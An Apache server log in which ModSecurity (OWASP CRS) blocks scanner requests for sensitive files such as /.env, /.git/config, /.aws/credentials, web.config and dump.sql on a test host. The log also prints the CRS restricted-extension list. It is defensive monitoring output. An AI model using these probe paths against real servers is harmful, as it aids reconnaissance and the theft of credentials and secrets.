[Sun Nov 09 12:04:25.361391 2025] [:error] [pid 4125501] [client 176.65.148.212:60160] [client 176.65.148.212] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRB1ORAovV8nduZQMtYrtgAAAAk&quot;]
[Sun Nov 09 12:04:25.361668 2025] [:error] [pid 4125501] [client 176.65.148.212:60160] [client 176.65.148.212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRB1ORAovV8nduZQMtYrtgAAAAk&quot;]
[Sun Nov 09 12:04:25.361855 2025] [:error] [pid 4125501] [client 176.65.148.212:60160] [client 176.65.148.212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRB1ORAovV8nduZQMtYrtgAAAAk&quot;]
[Mon Nov 10 03:27:11.351554 2025] [:error] [pid 4146480] [client 204.76.203.25:37398] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRFNf8HX-pzvlplCoAYCYwAAAAE&quot;]
[Mon Nov 10 03:27:11.351830 2025] [:error] [pid 4146480] [client 204.76.203.25:37398] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRFNf8HX-pzvlplCoAYCYwAAAAE&quot;]
[Mon Nov 10 03:27:11.351998 2025] [:error] [pid 4146480] [client 204.76.203.25:37398] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRFNf8HX-pzvlplCoAYCYwAAAAE&quot;]
[Tue Nov 11 05:34:44.840881 2025] [:error] [pid 4171502] [client 159.203.76.199:41298] [client 159.203.76.199] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aRK85FsTDy9fjOoFkUk6fwAAAAA&quot;]
[Tue Nov 11 05:34:44.841177 2025] [:error] [pid 4171502] [client 159.203.76.199:41298] [client 159.203.76.199] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aRK85FsTDy9fjOoFkUk6fwAAAAA&quot;]
[Tue Nov 11 05:34:44.841355 2025] [:error] [pid 4171502] [client 159.203.76.199:41298] [client 159.203.76.199] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aRK85FsTDy9fjOoFkUk6fwAAAAA&quot;]
[Tue Nov 11 19:35:59.781752 2025] [:error] [pid 4187670] [client 62.60.131.162:63988] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aROCD_aFIbsmxi-FLcMIPQAAAAE&quot;]
[Tue Nov 11 19:35:59.782999 2025] [:error] [pid 4187670] [client 62.60.131.162:63988] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aROCD_aFIbsmxi-FLcMIPQAAAAE&quot;]
[Tue Nov 11 19:35:59.783218 2025] [:error] [pid 4187670] [client 62.60.131.162:63988] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aROCD_aFIbsmxi-FLcMIPQAAAAE&quot;]
[Tue Nov 11 19:35:59.871668 2025] [:error] [pid 4182328] [client 62.60.131.162:61431] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aROCD0ItK4BSfhICLlAd0gAAAGs&quot;]
[Tue Nov 11 19:35:59.871940 2025] [:error] [pid 4182328] [client 62.60.131.162:61431] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aROCD0ItK4BSfhICLlAd0gAAAGs&quot;]
[Tue Nov 11 19:35:59.872113 2025] [:error] [pid 4182328] [client 62.60.131.162:61431] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aROCD0ItK4BSfhICLlAd0gAAAGs&quot;]
[Tue Nov 11 19:36:00.001258 2025] [:error] [pid 4182356] [client 62.60.131.162:65191] [client 62.60.131.162] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aROCEG9XYEYRjvNy502eLAAAAIc&quot;]
[Tue Nov 11 19:36:00.001466 2025] [:error] [pid 4182356] [client 62.60.131.162:65191] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aROCEG9XYEYRjvNy502eLAAAAIc&quot;]
[Tue Nov 11 19:36:00.001636 2025] [:error] [pid 4182356] [client 62.60.131.162:65191] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aROCEG9XYEYRjvNy502eLAAAAIc&quot;]
[Tue Nov 11 19:36:00.001805 2025] [:error] [pid 4182356] [client 62.60.131.162:65191] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aROCEG9XYEYRjvNy502eLAAAAIc&quot;]
[Tue Nov 11 19:36:00.004601 2025] [:error] [pid 4182322] [client 62.60.131.162:65209] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aROCEMigdidSJZS2nZXtrgAAAGU&quot;]
[Tue Nov 11 19:36:00.004764 2025] [:error] [pid 4182322] [client 62.60.131.162:65209] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aROCEMigdidSJZS2nZXtrgAAAGU&quot;]
[Tue Nov 11 19:36:00.004922 2025] [:error] [pid 4182322] [client 62.60.131.162:65209] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aROCEMigdidSJZS2nZXtrgAAAGU&quot;]
[Tue Nov 11 19:36:00.005251 2025] [:error] [pid 4187670] [client 62.60.131.162:65158] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aROCEPaFIbsmxi-FLcMIQAAAAAE&quot;]
[Tue Nov 11 19:36:00.005460 2025] [:error] [pid 4187670] [client 62.60.131.162:65158] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aROCEPaFIbsmxi-FLcMIQAAAAAE&quot;]
[Tue Nov 11 19:36:00.005616 2025] [:error] [pid 4187670] [client 62.60.131.162:65158] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aROCEPaFIbsmxi-FLcMIQAAAAAE&quot;]
[Tue Nov 11 19:36:00.005706 2025] [authz_core:error] [pid 4187672] [client 62.60.131.162:65211] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Tue Nov 11 19:36:00.022504 2025] [:error] [pid 4182328] [client 62.60.131.162:65128] [client 62.60.131.162] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aROCEEItK4BSfhICLlAd1QAAAGs&quot;]
[Tue Nov 11 19:36:00.022801 2025] [:error] [pid 4182328] [client 62.60.131.162:65128] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aROCEEItK4BSfhICLlAd1QAAAGs&quot;]
[Tue Nov 11 19:36:00.022985 2025] [:error] [pid 4182328] [client 62.60.131.162:65128] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aROCEEItK4BSfhICLlAd1QAAAGs&quot;]
[Tue Nov 11 19:36:00.031856 2025] [:error] [pid 4182364] [client 62.60.131.162:65204] [client 62.60.131.162] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aROCECsl6PQGpCmoK3nmTwAAAI8&quot;]
[Tue Nov 11 19:36:00.032276 2025] [:error] [pid 4182364] [client 62.60.131.162:65204] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aROCECsl6PQGpCmoK3nmTwAAAI8&quot;]
[Tue Nov 11 19:36:00.032464 2025] [:error] [pid 4182364] [client 62.60.131.162:65204] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aROCECsl6PQGpCmoK3nmTwAAAI8&quot;]
[Tue Nov 11 19:36:00.033340 2025] [:error] [pid 4182225] [client 62.60.131.162:65195] [client 62.60.131.162] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag 